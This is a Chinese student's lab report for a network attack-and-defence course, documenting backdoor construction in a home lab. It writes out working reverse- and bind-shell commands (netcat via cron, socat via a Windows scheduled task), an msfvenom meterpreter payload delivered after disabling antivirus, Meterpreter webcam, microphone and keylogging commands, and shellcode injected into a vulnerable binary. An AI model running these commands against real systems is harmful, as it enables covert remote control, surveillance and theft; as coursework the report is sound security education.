20192403赵秋涵 2021-2022-2 《网络与系统攻防技术》实验二实验报告
实验内容
利用ncat、MSF进行简单的后门程序设计,了解体会后门实现原理
1. 实验原理
1.1 后门概念
不经过正常认证流程而访问系统的通道
1.2 后门存在于
编译器、操作系统、应用程序、专用后门
1.3 常用工具
- netcat
- socat(加强版neycat)
- msfvenom和Metasploit
msfvenom用来生成后门
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新
2.实验内容
由于实验间续完成,设备的IP地址可能连接在不同的局域网下,所以IP地址并不固定
2.1 使用netcat获取主机操作Shell,cron启动
- 在虚拟机中添加定时任务
在Kali中使用命令crontab -e
添加定时任务
第一次启动时选择编辑器2
在文件最一行添加2 * * * * /bin/netcat 192.168.56.1 2403 -e /bin/sh
表示每小时的第12分钟,反向连接192.168.56.1的2403端口,并执行/bin/sh
-e的效果是由你指定的程序代替了nc自己来接受另一端的输入,并把输入(命令)后反馈的结果显示到另一端
完成后保存即生效,退出后可用crontab -l
查看
- 验证
2分钟后,在Windows10主机中执行ncat -l 2403,进行验证,发现连接成功
2.2 使用socat获取主机操作Shell, 任务计划启动
2.2.1 在Windows上创建任务计划程序
-
主机左下角的Windows徽标上右键单击,选择计算机管理,再选择任务计划程序,点击创建任务
-
创建任务,在触发器选项卡中点击新建,设置开始任务为:工作站锁定时,并勾选已启用
-
在操作选项卡中点击
新建
,设置操作为启动程序
,并选择已经解压的socta程序,在添加参数中输入tcp-listen:<端口号> exec:cmd.exe,pty,stderr
这个命令把cmd.exe绑定到设置的端口号,同时把cmd.exe的stderr重定向到stdout上
2.2.2 启动任务
按Win+L
锁定工作站,然后解锁,此时添加的任务已启动
2.2.3 在虚拟机获得终端
在Kali中,输入 socat - tcp:192.168.0.106:2403
,获取cmd shell
2.3 使用MSF生成可执行文件,利用ncat传送到主机并运行获取主机Shell
2.3.1 生成带后门文件
在kali中输入如下命令生成带后门的可执行文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00x0axff' LHOST=192.168.43.36 LPORT=2403 -f exe > zqh20192403 _backdoor.exe
-p : 使用payload
windows/meterpreter/reverse_tcp是一段shellcode,表示windows反向连接kali
-e : 指定编码器
-b : shellcode中避免出现的字符
由于是反向连接,所以LHOST设置为Kali的IP
2.3.2 用netcat传输文件
- 在Windows中执行
ncat -l 2403 > zqh20192403_backdoor.exe
- 在Kali中执行
nc 192.168.0.106 2403 < zqh20192403_backdoor.exe
将文件从Kali中传到Windows
- 要事先关闭杀毒软件和防火墙,否则文件会被自动杀毒清除
传输完成后连接不会自动关闭,可以通过查看文件大小来判断传输是否完成,然后手动关闭连接
2.3.3 通过msf得到shell
在kali中输入
-
msfconsole
进入msf控制台
-
use exploit/multi/handler
使用侦听模块 -
set payload windows/meterpreter/reverse_tcp
使用和生成后门程序时相同的payload -
set LHOST 192.168.0.105
,和生成后门程序时指定的IP相同 -
set LPORT 2403
,使用相同的端口
配置完成后可使用
show options
查看设置
exploit
执行监听
在Windows中运行后门程序,Kail上可以获得Windows的Shell
2.4 使用MSF生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
输入
record_mic
截获一段音频 -
输入
webcam_snap
使用摄像头拍摄
-
输入
keysacn_start
开始记录击键,输入keyscan_dump
读取击键记录
-
输入
getuid
查看当前用户,输入getsystem
尝试提权
提权失败了
2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2.5.1 使用MSF生成shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.30.5.171 LPORT=2403 -f c
51:0)
2.5.2 确定shellcode起始地址【参考实验一】
- 关闭地址随机化,设置堆栈可执行
- gdb调试程序,找到shellcode的起始地址
0xffffd190
2.5.3 根据1、2生成注入文件
perl -e 'print "A" x 32; print "\x90\xd1\xff\xff\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xac\x1e\x05\xab\x68\x02\x00\x09\x63\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"' > 20192403_input
2.5.4 获取shell
- 在新的终端打开msf控制台,参考前面的步骤,配置环境:
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 172.30.5.171
set LPORT 2403
exploit
- 在前一个终端中执行
(cat 20192403_input cat) | ./20192403_pwn1
注入shellcode - 成功获得shell
3. 基础问答
-
例举你能想到的一个后门进入到你系统中的可能方式
下载非官方软件,接收他人传送的文件、音视频、图片等,装机网站上的系统镜像可能也隐藏有后门。 -
例举你知道的后门如何启动起来(win及linux)的方式
linux:自动启动(比如实验用到的cron),自主注册为系统服务
win:添加到任务计划程序、修改注册表、能和某个的程序绑定启动 -
Meterpreter有哪些给你映像深刻的功能?
我觉得操纵终端就相当于控制了电脑。虽然自己提权失败了,但在查找资料的时候发现很多时候是可以提权成功的。如果这样的话,攻击者其实就完全掌握了电脑,可以随意地更改操作,盗取信息。 -
如何发现自己的系统有没有被安装后门?
查看系统中安装的服务里有没有比较奇怪的服务;
查看电脑上的端口开放情况;
使用杀软扫描,如果杀毒软件经常莫名出现警告弹窗,那有可能就是被安装后门了。
4. 实验中遇到的问题
4.1 ssh远程连接出现问题
这次在远程链接中出现了公钥的问题
在网上查询资料中走了不少弯路,改过主机的依赖路径,也删过虚拟机的公钥文件,但最后都没有解决,还差点把两个系统都搞崩了....
最后找到的解决方法是更改ssh的公钥文件
- 在主机中找到Openssh文件夹
更改known_hosts
- 点击运行一边ssh.exe,问题解决
4.2 net cat传输的文件被系统查
自己在实验开始前把所有的查杀功能都关闭了,但文件传输后还是被自动删除了
经过排查发现是实时扫描又被系统自动打开了
所以需要再手动关闭
4.3 ufw安装后启动时系统显示找不到文件
在进行第五个实验时原本计划使用net cat将文件传输到虚拟机里,但却遭到了虚拟机积极拒绝,根据视频知道这是因为虚拟机防火墙
但kali虚拟机的防火墙ufw安装后启动时系统显示找不到文件,在网上也找不到解决办法
)
所以就放弃了这条路径,继续选择用文件管理器传输文件
但靠这种方法传输进去的文件有一个问题就是系统由于保护政策会把它规定为不可执行文件
这就需要再次手动命令行打开权限了
4.4 gdb安装失败
在安装过程中显示依赖关系为满足,按照系统建议的解决方法输入命令问题却没有解决,反而出现了新问题
根据网上的一篇博客找到了解决方案,即强行重写文件
再次修复破损包成功,并且发现防火墙问题也是由这个引起的
5. 实验收获
通过这次实验我进一步了解了什么是后门。并且动手感受到了后门的强大。如果我们不及时制止的话后门很有可能成为控制我们电脑的命门。通过后门,远程控制者可以调动摄像头、播放器和键盘来监视和操控电脑的一举一动。
实验过程中我遇到了很多问题,两台电脑在开始的时候经常出现连接的问题。并且由于自己还没能很好掌握net cat知识,有时候搞不清楚是谁连谁,哪个是等待监听,哪个是攻击者,但随着实验推进,概念也就逐渐清晰了。
实验的第五个是和实验一结合来做,乍一看挺难的,但其实仔细分析就会发现两者原理相同。这个实验也帮助我复习回顾了上周的知识。